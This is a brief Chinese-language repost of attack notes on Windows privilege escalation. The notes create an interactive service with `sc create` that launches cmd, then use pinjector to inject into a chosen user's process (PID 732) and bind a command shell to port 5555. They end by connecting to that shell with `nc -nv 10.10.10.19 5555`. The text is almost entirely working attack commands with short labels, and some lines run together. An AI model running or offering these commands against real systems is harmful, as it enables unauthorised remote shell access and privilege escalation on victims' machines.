当前用户是jh
提权之后
创建服务(打开cmd命令窗口的服务)
sc Create systemcmd binPath= "cmd /K start" type= own type= interact启动服务刚才创建的服务
sc start systemcmd process_injector列出当前的所有进程
pinjector.exe -l
选择要提权成的用户，进行进程注入
pinjector.exe -p 732 cmd 5555 #服务端实现进程注入 nc -nv 10.10.10.19 5555 # 客户端连接服务端
郑重声明：本文版权归原作者所有，转载文章仅为传播更多信息之目的，如作者信息标记有误，请第一时间联系我们修改或删除，多谢。
